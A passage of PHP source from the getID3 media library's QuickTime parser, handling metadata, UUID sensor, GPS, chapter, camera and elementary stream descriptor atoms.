				case 'CNCV': // Canon:CompressorVersion - https://exiftool.org/TagNames/Canon.html
					$atom_structure['data'] = $atom_data;
					break;

				case "\x00\x00\x00\x00":
					// some kind of metacontainer, may contain a big data dump such as:
					// mdta keys \005 mdtacom.apple.quicktime.make (mdtacom.apple.quicktime.creationdate ,mdtacom.apple.quicktime.location.ISO6709 $mdtacom.apple.quicktime.software !mdtacom.apple.quicktime.model ilst \01D \001 \015data \001DE\010Apple 0 \002 (data \001DE\0102011-05-11T17:54:04+0200 2 \003 *data \001DE\010+52.4936+013.3897+040.247/ \01D \004 \015data \001DE\0104.3.1 \005 \018data \001DE\010iPhone 4
					// https://xhelmboyx.tripod.com/formats/qti-layout.txt

					$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
					$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
					$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom(substr($atom_data, 4), $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					//$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'meta': // METAdata atom
					// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html

					$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
					$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
					$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
					break;

				case 'data': // metaDATA atom
					// seems to be 2 bytes language code (ASCII), 2 bytes unknown (set to 0x10B5 in sample I have), remainder is useful data
					$atom_structure['language'] =                           substr($atom_data, 4 + 0, 2);
					$atom_structure['unknown']  = getid3_lib::BigEndian2Int(substr($atom_data, 4 + 2, 2));
					$atom_structure['data']     =                           substr($atom_data, 4 + 4);
					$atom_structure['key_name'] = (isset($info['quicktime']['temp_meta_key_names'][$this->metaDATAkey]) ? $info['quicktime']['temp_meta_key_names'][$this->metaDATAkey] : '');
					$this->metaDATAkey++;

					switch ($atom_structure['key_name']) {
						case 'com.android.capture.fps':
							$atom_structure['data'] = getid3_lib::BigEndian2Float($atom_structure['data']);
							break;
					}

					if ($atom_structure['key_name'] && $atom_structure['data']) {
						@$info['quicktime']['comments'][str_replace('com.android.', '', str_replace('com.apple.quicktime.', '', $atom_structure['key_name']))][] = $atom_structure['data'];
					}
					break;

				case 'keys': // KEYS that may be present in the metadata atom.
					// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html#//apple_ref/doc/uid/TP40000939-CH1-SW21
					// The metadata item keys atom holds a list of the metadata keys that may be present in the metadata atom.
					// This list is indexed starting with 1; 0 is a reserved index value. The metadata item keys atom is a full atom with an atom type of "keys".
					$atom_structure['version']       = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
					$atom_structure['flags_raw']     = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
					$atom_structure['entry_count']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
					$keys_atom_offset = 8;
					for ($i = 1; $i <= $atom_structure['entry_count']; $i++) {
						$atom_structure['keys'][$i]['key_size']      = getid3_lib::BigEndian2Int(substr($atom_data, $keys_atom_offset + 0, 4));
						$atom_structure['keys'][$i]['key_namespace'] =                           substr($atom_data, $keys_atom_offset + 4, 4);
						$atom_structure['keys'][$i]['key_value']     =                           substr($atom_data, $keys_atom_offset + 8, $atom_structure['keys'][$i]['key_size'] - 8);
						$keys_atom_offset += $atom_structure['keys'][$i]['key_size']; // key_size includes the 4+4 bytes for key_size and key_namespace

						$info['quicktime']['temp_meta_key_names'][$i] = $atom_structure['keys'][$i]['key_value'];
					}
					break;

				case 'uuid': // user-defined atom often seen containing XML data, also used for potentially many other purposes, only a few specifically handled by getID3 (e.g. 360fly spatial data)
					//Get the UUID ID in first 16 bytes
					$uuid_bytes_read = unpack('H8time_low/H4time_mid/H4time_hi/H4clock_seq_hi/H12clock_seq_low', substr($atom_data, 0, 16));
					$atom_structure['uuid_field_id'] = implode('-', $uuid_bytes_read);

					switch ($atom_structure['uuid_field_id']) {   // http://fileformats.archiveteam.org/wiki/Boxes/atoms_format#UUID_boxes

						case '0537cdab-9d0c-4431-a72a-fa561f2a113e': // Exif                                       - http://fileformats.archiveteam.org/wiki/Exif
						case '2c4c0100-8504-40b9-a03e-562148d6dfeb': // Photoshop Image Resources                  - http://fileformats.archiveteam.org/wiki/Photoshop_Image_Resources
						case '33c7a4d2-b81d-4723-a0ba-f1a3e097ad38': // IPTC-IIM                                   - http://fileformats.archiveteam.org/wiki/IPTC-IIM
						case '8974dbce-7be7-4c51-84f9-7148f9882554': // PIFF Track Encryption Box                  - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
						case '96a9f1f1-dc98-402d-a7ae-d68e34451809': // GeoJP2 World File Box                      - http://fileformats.archiveteam.org/wiki/GeoJP2
						case 'a2394f52-5a9b-4f14-a244-6c427c648df4': // PIFF Sample Encryption Box                 - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
						case 'b14bf8bd-083d-4b43-a5ae-8cd7d5a6ce03': // GeoJP2 GeoTIFF Box                         - http://fileformats.archiveteam.org/wiki/GeoJP2
						case 'd08a4f18-10f3-4a82-b6c8-32d8aba183d3': // PIFF Protection System Specific Header Box - http://fileformats.archiveteam.org/wiki/Protected_Interoperable_File_Format
							$this->warning('Unhandled (but recognized) "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)');
							break;

						case 'be7acfcb-97a9-42e8-9c71-999491e3afac': // XMP data (in XML format)
							$atom_structure['xml'] = substr($atom_data, 16, strlen($atom_data) - 16 - 8); // 16 bytes for UUID, 8 bytes header(?)
							break;

						case 'efe1589a-bb77-49ef-8095-27759eb1dc6f': // 360fly data
							/* 360fly code in this block by Paul Lewis 2019-Oct-31 */
							/*	Sensor Timestamps need to be calculated using the recordings base time at ['quicktime']['moov']['subatoms'][0]['creation_time_unix']. */
							$atom_structure['title'] = '360Fly Sensor Data';

							//Get the UUID HEADER data
							$uuid_bytes_read = unpack('vheader_size/vheader_version/vtimescale/vhardware_version/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/x/', substr($atom_data, 16, 32));
							$atom_structure['uuid_header'] = $uuid_bytes_read;

							$start_byte = 48;
							$atom_SENSOR_data = substr($atom_data, $start_byte);
							$atom_structure['sensor_data']['data_type'] = array(
									'fusion_count'   => 0,       // ID 250
									'fusion_data'    => array(),
									'accel_count'    => 0,       // ID 1
									'accel_data'     => array(),
									'gyro_count'     => 0,       // ID 2
									'gyro_data'      => array(),
									'magno_count'    => 0,       // ID 3
									'magno_data'     => array(),
									'gps_count'      => 0,       // ID 5
									'gps_data'       => array(),
									'rotation_count' => 0,       // ID 6
									'rotation_data'  => array(),
									'unknown_count'  => 0,       // ID ??
									'unknown_data'   => array(),
									'debug_list'     => '',      // Used to debug variables stored as comma delimited strings
							);
							$debug_structure = array();
							$debug_structure['debug_items'] = array();
							// Can start loop here to decode all sensor data in 32 Byte chunks:
							foreach (str_split($atom_SENSOR_data, 32) as $sensor_key => $sensor_data) {
								// This gets me a data_type code to work out what data is in the next 31 bytes.
								$sensor_data_type = substr($sensor_data, 0, 1);
								$sensor_data_content = substr($sensor_data, 1);
								$uuid_bytes_read = unpack('C*', $sensor_data_type);
								$sensor_data_array = array();
								switch ($uuid_bytes_read[1]) {
									case 250:
										$atom_structure['sensor_data']['data_type']['fusion_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['fusion_data'], $sensor_data_array);
										break;
									case 1:
										$atom_structure['sensor_data']['data_type']['accel_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['accel_data'], $sensor_data_array);
										break;
									case 2:
										$atom_structure['sensor_data']['data_type']['gyro_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gyaw/Gpitch/Groll/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['yaw']       = $uuid_bytes_read['yaw'];
										$sensor_data_array['pitch']     = $uuid_bytes_read['pitch'];
										$sensor_data_array['roll']      = $uuid_bytes_read['roll'];
										array_push($atom_structure['sensor_data']['data_type']['gyro_data'], $sensor_data_array);
										break;
									case 3:
										$atom_structure['sensor_data']['data_type']['magno_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Gmagx/Gmagy/Gmagz/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['magx']      = $uuid_bytes_read['magx'];
										$sensor_data_array['magy']      = $uuid_bytes_read['magy'];
										$sensor_data_array['magz']      = $uuid_bytes_read['magz'];
										array_push($atom_structure['sensor_data']['data_type']['magno_data'], $sensor_data_array);
										break;
									case 5:
										$atom_structure['sensor_data']['data_type']['gps_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Glat/Glon/Galt/Gspeed/nbearing/nacc/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['lat']       = $uuid_bytes_read['lat'];
										$sensor_data_array['lon']       = $uuid_bytes_read['lon'];
										$sensor_data_array['alt']       = $uuid_bytes_read['alt'];
										$sensor_data_array['speed']     = $uuid_bytes_read['speed'];
										$sensor_data_array['bearing']   = $uuid_bytes_read['bearing'];
										$sensor_data_array['acc']       = $uuid_bytes_read['acc'];
										array_push($atom_structure['sensor_data']['data_type']['gps_data'], $sensor_data_array);
										//array_push($debug_structure['debug_items'], $uuid_bytes_read['timestamp']);
										break;
									case 6:
										$atom_structure['sensor_data']['data_type']['rotation_count']++;
										$uuid_bytes_read = unpack('cmode/Jtimestamp/Grotx/Groty/Grotz/x*', $sensor_data_content);
										$sensor_data_array['mode']      = $uuid_bytes_read['mode'];
										$sensor_data_array['timestamp'] = $uuid_bytes_read['timestamp'];
										$sensor_data_array['rotx']      = $uuid_bytes_read['rotx'];
										$sensor_data_array['roty']      = $uuid_bytes_read['roty'];
										$sensor_data_array['rotz']      = $uuid_bytes_read['rotz'];
										array_push($atom_structure['sensor_data']['data_type']['rotation_data'], $sensor_data_array);
										break;
									default:
										$atom_structure['sensor_data']['data_type']['unknown_count']++;
										break;
								}
							}
							//if (isset($debug_structure['debug_items']) && count($debug_structure['debug_items']) > 0) {
							//	$atom_structure['sensor_data']['data_type']['debug_list'] = implode(',', $debug_structure['debug_items']);
							//} else {
								$atom_structure['sensor_data']['data_type']['debug_list'] = 'No debug items in list!';
							//}
							break;

						default:
							$this->warning('Unhandled "uuid" atom identified by "'.$atom_structure['uuid_field_id'].'" at offset '.$atom_structure['offset'].' ('.strlen($atom_data).' bytes)');
					}
					break;

				case 'gps ':
					// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
					// The 'gps ' contains simple look up table made up of 8byte rows, that point to the 'free' atoms that contains the actual GPS data.
					// The first row is version/metadata/notsure, I skip that.
					// The following rows consist of 4byte address (absolute) and 4byte size (0x1000), these point to the GPS data in the file.

					$GPS_rowsize = 8; // 4 bytes for offset, 4 bytes for size
					if (strlen($atom_data) > 0) {
						if ((strlen($atom_data) % $GPS_rowsize) == 0) {
							$atom_structure['gps_toc'] = array();
							foreach (str_split($atom_data, $GPS_rowsize) as $counter => $datapair) {
								$atom_structure['gps_toc'][] = unpack('Noffset/Nsize', substr($atom_data, $counter * $GPS_rowsize, $GPS_rowsize));
							}

							$atom_structure['gps_entries'] = array();
							$previous_offset = $this->ftell();
							foreach ($atom_structure['gps_toc'] as $key => $gps_pointer) {
								if ($key == 0) {
									// "The first row is version/metadata/notsure, I skip that."
									continue;
								}
								$this->fseek($gps_pointer['offset']);
								$GPS_free_data = $this->fread($gps_pointer['size']);

								/*
								// 2017-05-10: I see some of the data, notably the Hour-Minute-Second, but cannot reconcile the rest of the data. However, the NMEA "GPRMC" line is there and relatively easy to parse, so I'm using that instead

								// https://dashcamtalk.com/forum/threads/script-to-extract-gps-data-from-novatek-mp4.20808/page-2#post-291730
								// The structure of the GPS data atom (the 'free' atoms mentioned above) is following:
								// hour,minute,second,year,month,day,active,latitude_b,longitude_b,unknown2,latitude,longitude,speed = struct.unpack_from('<IIIIIIssssfff',data, 48)
								// For those unfamiliar with python struct:
								// I = int
								// s = is string (size 1, in this case)
								// f = float

								//$atom_structure['gps_entries'][$key] = unpack('Vhour/Vminute/Vsecond/Vyear/Vmonth/Vday/Vactive/Vlatitude_b/Vlongitude_b/Vunknown2/flatitude/flongitude/fspeed', substr($GPS_free_data, 48));
								*/

								// $GPRMC,081836,A,3751.65,S,14507.36,E,000.0,360.0,130998,011.3,E*62
								// $GPRMC,183731,A,3907.482,N,12102.436,W,000.0,360.0,080301,015.5,E*67
								// $GPRMC,002454,A,3553.5295,N,13938.6570,E,0.0,43.1,180700,7.1,W,A*3F
								// $GPRMC,094347.000,A,5342.0061,N,00737.9908,W,0.01,156.75,140217,,,A*7D
								if (preg_match('#\\$GPRMC,([0-9\\.]*),([AV]),([0-9\\.]*),([NS]),([0-9\\.]*),([EW]),([0-9\\.]*),([0-9\\.]*),([0-9]*),([0-9\\.]*),([EW]?)(,[A])?(\\*[0-9A-F]{2})#', $GPS_free_data, $matches)) {
									$GPS_this_GPRMC = array();
									$GPS_this_GPRMC_raw = array();
									list(
										$GPS_this_GPRMC_raw['gprmc'],
										$GPS_this_GPRMC_raw['timestamp'],
										$GPS_this_GPRMC_raw['status'],
										$GPS_this_GPRMC_raw['latitude'],
										$GPS_this_GPRMC_raw['latitude_direction'],
										$GPS_this_GPRMC_raw['longitude'],
										$GPS_this_GPRMC_raw['longitude_direction'],
										$GPS_this_GPRMC_raw['knots'],
										$GPS_this_GPRMC_raw['angle'],
										$GPS_this_GPRMC_raw['datestamp'],
										$GPS_this_GPRMC_raw['variation'],
										$GPS_this_GPRMC_raw['variation_direction'],
										$dummy,
										$GPS_this_GPRMC_raw['checksum'],
									) = $matches;
									$GPS_this_GPRMC['raw'] = $GPS_this_GPRMC_raw;

									$hour   = substr($GPS_this_GPRMC['raw']['timestamp'], 0, 2);
									$minute = substr($GPS_this_GPRMC['raw']['timestamp'], 2, 2);
									$second = substr($GPS_this_GPRMC['raw']['timestamp'], 4, 2);
									$ms     = substr($GPS_this_GPRMC['raw']['timestamp'], 6);    // may contain decimal seconds
									$day    = substr($GPS_this_GPRMC['raw']['datestamp'], 0, 2);
									$month  = substr($GPS_this_GPRMC['raw']['datestamp'], 2, 2);
									$year   = (int) substr($GPS_this_GPRMC['raw']['datestamp'], 4, 2);
									$year += (($year > 90) ? 1900 : 2000); // complete lack of foresight: datestamps are stored with 2-digit years, take best guess
									$GPS_this_GPRMC['timestamp'] = $year.'-'.$month.'-'.$day.' '.$hour.':'.$minute.':'.$second.$ms;

									$GPS_this_GPRMC['active'] = ($GPS_this_GPRMC['raw']['status'] == 'A'); // A=Active,V=Void

									foreach (array('latitude','longitude') as $latlon) {
										preg_match('#^([0-9]{1,3})([0-9]{2}\\.[0-9]+)$#', $GPS_this_GPRMC['raw'][$latlon], $matches);
										list($dummy, $deg, $min) = $matches;
										$GPS_this_GPRMC[$latlon] = (int) $deg + ((float) $min / 60);
									}
									$GPS_this_GPRMC['latitude']  *= (($GPS_this_GPRMC['raw']['latitude_direction']  == 'S') ? -1 : 1);
									$GPS_this_GPRMC['longitude'] *= (($GPS_this_GPRMC['raw']['longitude_direction'] == 'W') ? -1 : 1);

									$GPS_this_GPRMC['heading']    = $GPS_this_GPRMC['raw']['angle'];
									$GPS_this_GPRMC['speed_knot'] = $GPS_this_GPRMC['raw']['knots'];
									$GPS_this_GPRMC['speed_kmh']  = (float) $GPS_this_GPRMC['raw']['knots'] * 1.852;
									if ($GPS_this_GPRMC['raw']['variation']) {
										$GPS_this_GPRMC['variation']  = (float) $GPS_this_GPRMC['raw']['variation'];
										$GPS_this_GPRMC['variation'] *= (($GPS_this_GPRMC['raw']['variation_direction'] == 'W') ? -1 : 1);
									}

									$atom_structure['gps_entries'][$key] = $GPS_this_GPRMC;

									@$info['quicktime']['gps_track'][$GPS_this_GPRMC['timestamp']] = array(
										'latitude'  => (float) $GPS_this_GPRMC['latitude'],
										'longitude' => (float) $GPS_this_GPRMC['longitude'],
										'speed_kmh' => (float) $GPS_this_GPRMC['speed_kmh'],
										'heading'   => (float) $GPS_this_GPRMC['heading'],
									);

								} else {
									$this->warning('Unhandled GPS format in "free" atom at offset '.$gps_pointer['offset']);
								}
							}
							$this->fseek($previous_offset);

						} else {
							$this->warning('QuickTime atom "'.$atomname.'" is not mod-8 bytes long ('.$atomsize.' bytes) at offset '.$baseoffset);
						}
					} else {
						$this->warning('QuickTime atom "'.$atomname.'" is zero bytes long at offset '.$baseoffset);
					}
					break;

				case 'loci':// 3GP location (El Loco)
					$loffset = 0;
					$info['quicktime']['comments']['gps_flags']     = array(  getid3_lib::BigEndian2Int(substr($atom_data, 0, 4)));
					$info['quicktime']['comments']['gps_lang']      = array(  getid3_lib::BigEndian2Int(substr($atom_data, 4, 2)));
					$info['quicktime']['comments']['gps_location']  = array(          $this->LociString(substr($atom_data, 6), $loffset));
					$loci_data = substr($atom_data, 6 + $loffset);
					$info['quicktime']['comments']['gps_role']      = array(  getid3_lib::BigEndian2Int(substr($loci_data, 0, 1)));
					$info['quicktime']['comments']['gps_longitude'] = array(getid3_lib::FixedPoint16_16(substr($loci_data, 1, 4)));
					$info['quicktime']['comments']['gps_latitude']  = array(getid3_lib::FixedPoint16_16(substr($loci_data, 5, 4)));
					$info['quicktime']['comments']['gps_altitude']  = array(getid3_lib::FixedPoint16_16(substr($loci_data, 9, 4)));
					$info['quicktime']['comments']['gps_body']      = array(          $this->LociString(substr($loci_data, 13           ), $loffset));
					$info['quicktime']['comments']['gps_notes']     = array(          $this->LociString(substr($loci_data, 13 + $loffset), $loffset));
					break;

				case 'chpl': // CHaPter List
					// https://www.adobe.com/content/dam/Adobe/en/devnet/flv/pdfs/video_file_format_spec_v10.pdf
					$chpl_version = getid3_lib::BigEndian2Int(substr($atom_data, 4, 1)); // Expected to be 0
					$chpl_flags   = getid3_lib::BigEndian2Int(substr($atom_data, 5, 3)); // Reserved, set to 0
					$chpl_count   = getid3_lib::BigEndian2Int(substr($atom_data, 8, 1));
					$chpl_offset = 9;
					for ($i = 0; $i < $chpl_count; $i++) {
						if (($chpl_offset + 9) >= strlen($atom_data)) {
							$this->warning('QuickTime chapter '.$i.' extends beyond end of "chpl" atom');
							break;
						}
						$info['quicktime']['chapters'][$i]['timestamp'] = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 8)) / 10000000; // timestamps are stored as 100-nanosecond units
						$chpl_offset += 8;
						$chpl_title_size = getid3_lib::BigEndian2Int(substr($atom_data, $chpl_offset, 1));
						$chpl_offset += 1;
						$info['quicktime']['chapters'][$i]['title']     =                           substr($atom_data, $chpl_offset, $chpl_title_size);
						$chpl_offset += $chpl_title_size;
					}
					break;

				case 'FIRM': // FIRMware version(?), seen on GoPro Hero4
					$info['quicktime']['camera']['firmware'] = $atom_data;
					break;

				case 'CAME': // FIRMware version(?), seen on GoPro Hero4
					$info['quicktime']['camera']['serial_hash'] = unpack('H*', $atom_data);
					break;

				case 'dscp':
				case 'rcif':
					// https://www.getid3.org/phpBB3/viewtopic.php?t=1908
					if (substr($atom_data, 0, 7) == "\x00\x00\x00\x00\x55\xC4".'{') {
						if ($json_decoded = @json_decode(rtrim(substr($atom_data, 6), "\x00"), true)) {
							$info['quicktime']['camera'][$atomname] = $json_decoded;
							if (($atomname == 'rcif') && isset($info['quicktime']['camera']['rcif']['wxcamera']['rotate'])) {
								$info['video']['rotate'] = $info['quicktime']['video']['rotate'] = $info['quicktime']['camera']['rcif']['wxcamera']['rotate'];
							}
						} else {
							$this->warning('Failed to JSON decode atom "'.$atomname.'"');
							$atom_structure['data'] = $atom_data;
						}
						unset($json_decoded);
					} else {
						$this->warning('Expecting 55 C4 7B at start of atom "'.$atomname.'", found '.getid3_lib::PrintHexBytes(substr($atom_data, 4, 3)).' instead');
						$atom_structure['data'] = $atom_data;
					}
					break;

				case 'frea':
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					// may contain "scra" (PreviewImage) and/or "thma" (ThumbnailImage)
					$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
					break;
				case 'tima': // subatom to "frea"
					// no idea what this does, the one sample file I've seen has a value of 0x00000027
					$atom_structure['data'] = $atom_data;
					break;
				case 'ver ': // subatom to "frea"
					// some kind of version number, the one sample file I've seen has a value of "3.00.073"
					$atom_structure['data'] = $atom_data;
					break;
				case 'thma': // subatom to "frea" -- "ThumbnailImage"
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					if (strlen($atom_data) > 0) {
						$info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'ThumbnailImage');
					}
					break;
				case 'scra': // subatom to "frea" -- "PreviewImage"
					// https://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Kodak.html#frea
					// but the only sample file I've seen has no useful data here
					if (strlen($atom_data) > 0) {
						$info['quicktime']['comments']['picture'][] = array('data'=>$atom_data, 'image_mime'=>'image/jpeg', 'description'=>'PreviewImage');
					}
					break;

				case 'cdsc': // timed metadata reference
					// A QuickTime movie can contain none, one, or several timed metadata tracks. Timed metadata tracks can refer to multiple tracks.
					// Metadata tracks are linked to the tracks they describe using a track-reference of type 'cdsc'. The metadata track holds the 'cdsc' track reference.
					$atom_structure['track_number'] = getid3_lib::BigEndian2Int($atom_data);
					break;


				case 'esds': // Elementary Stream DeScriptor
					// https://github.com/JamesHeinrich/getID3/issues/414
					// https://chromium.googlesource.com/chromium/src/media/+/refs/heads/main/formats/mp4/es_descriptor.cc
					// https://chromium.googlesource.com/chromium/src/media/+/refs/heads/main/formats/mp4/es_descriptor.h
					$atom_structure['version']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1)); // hardcoded: 0x00
					$atom_structure['flags_raw'] = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x000000
					$esds_offset = 4;

					$atom_structure['ES_DescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DescrTag'] != 0x03) {
						$this->warning('expecting esds.ES_DescrTag = 0x03, found 0x'.sprintf('%02X', $atom_structure['ES_DescrTag']).', at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DescrSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_ID'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
					$esds_offset += 2;
					$atom_structure['ES_flagsraw'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					$atom_structure['ES_flags']['stream_dependency'] = (bool) ($atom_structure['ES_flagsraw'] & 0x80);
					$atom_structure['ES_flags']['url_flag']          = (bool) ($atom_structure['ES_flagsraw'] & 0x40);
					$atom_structure['ES_flags']['ocr_stream']        = (bool) ($atom_structure['ES_flagsraw'] & 0x20);
					$atom_structure['ES_stream_priority']            =        ($atom_structure['ES_flagsraw'] & 0x1F);
					if ($atom_structure['ES_flags']['url_flag']) {
						$this->warning('Unsupported esds.url_flag enabled at offset '.$atom_structure['offset']);
						break;
					}
					if ($atom_structure['ES_flags']['stream_dependency']) {
						$atom_structure['ES_dependsOn_ES_ID'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
						$esds_offset += 2;
					}
					if ($atom_structure['ES_flags']['ocr_stream']) {
						$atom_structure['ES_OCR_ES_Id'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 2));
						$esds_offset += 2;
					}

					$atom_structure['ES_DecoderConfigDescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DecoderConfigDescrTag'] != 0x04) {
						$this->warning('expecting esds.ES_DecoderConfigDescrTag = 0x04, found 0x'.sprintf('%02X', $atom_structure['ES_DecoderConfigDescrTag']).', at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DecoderConfigDescrTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_objectTypeIndication'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					// https://stackoverflow.com/questions/3987850
					// 0x40 = "Audio ISO/IEC 14496-3"                       = MPEG-4 Audio
					// 0x67 = "Audio ISO/IEC 13818-7 LowComplexity Profile" = MPEG-2 AAC LC
					// 0x69 = "Audio ISO/IEC 13818-3"                       = MPEG-2 Backward Compatible Audio (MPEG-2 Layers 1, 2, and 3)
					// 0x6B = "Audio ISO/IEC 11172-3"                       = MPEG-1 Audio (MPEG-1 Layers 1, 2, and 3)

					$streamTypePlusFlags = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					$atom_structure['ES_streamType'] =        ($streamTypePlusFlags & 0xFC) >> 2;
					$atom_structure['ES_upStream']   = (bool) ($streamTypePlusFlags & 0x02) >> 1;
					$atom_structure['ES_bufferSizeDB'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 3));
					$esds_offset += 3;
					$atom_structure['ES_maxBitrate'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 4));
					$esds_offset += 4;
					$atom_structure['ES_avgBitrate'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 4));
					$esds_offset += 4;
					if ($atom_structure['ES_avgBitrate']) {
						$info['quicktime']['audio']['bitrate'] = $atom_structure['ES_avgBitrate'];
						$info['audio']['bitrate']              = $atom_structure['ES_avgBitrate'];
					}

					$atom_structure['ES_DecSpecificInfoTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_DecSpecificInfoTag'] != 0x05) {
						$this->warning('expecting esds.ES_DecSpecificInfoTag = 0x05, found 0x'.sprintf('%02X', $atom_structure['ES_DecSpecificInfoTag']).', at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_DecSpecificInfoTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_DecSpecificInfo'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, $atom_structure['ES_DecSpecificInfoTagSize']));
					$esds_offset += $atom_structure['ES_DecSpecificInfoTagSize'];

					$atom_structure['ES_SLConfigDescrTag'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, 1));
					$esds_offset += 1;
					if ($atom_structure['ES_SLConfigDescrTag'] != 0x06) {
						$this->warning('expecting esds.ES_SLConfigDescrTag = 0x05, found 0x'.sprintf('%02X', $atom_structure['ES_SLConfigDescrTag']).', at offset '.$atom_structure['offset']);
						break;
					}
					$atom_structure['ES_SLConfigDescrTagSize'] = $this->quicktime_read_mp4_descr_length($atom_data, $esds_offset);

					$atom_structure['ES_SLConfigDescr'] = getid3_lib::BigEndian2Int(substr($atom_data, $esds_offset, $atom_structure['ES_SLConfigDescrTagSize']));
					$esds_offset += $atom_structure['ES_SLConfigDescrTagSize'];
					break;

// AVIF-related - https://docs.rs/avif-parse/0.13.2/src/avif_parse/boxes.rs.html
				case 'pitm': // Primary ITeM
				case 'iloc': // Item LOCation
				case 'iinf': // Item INFo
				case 'iref': // Image REFerence
				case 'iprp': // Image PRoPerties
$this->error('AVIF files not currently supported');
					$atom_structure['data'] = $atom_data;
					break;

				case 'tfdt': // Track Fragment base media Decode Time box
				case 'tfhd': // Track Fragment HeaDer box
				case 'mfhd': // Movie Fragment HeaDer box
				case 'trun': // Track fragment RUN box
$this->error('fragmented mp4 files not currently supported');
					$atom_structure['data'] = $atom_data;
					break;

				case 'mvex': // MoVie EXtends box
				case 'pssh': // Protection System Specific Header box
				case 'sidx': // Segment InDeX box
				default:
					$this->warning('Unknown QuickTime atom type: "'.preg_replace('#[^a-zA-Z0-9 _\\-]#', '?', $atomname).'" ('.trim(getid3_lib::PrintHexBytes($atomname)).'), '.$atomsize.' bytes at offset '.$baseoffset);
					$atom_structure['data'] = $atom_data;
					break;
			}
		}
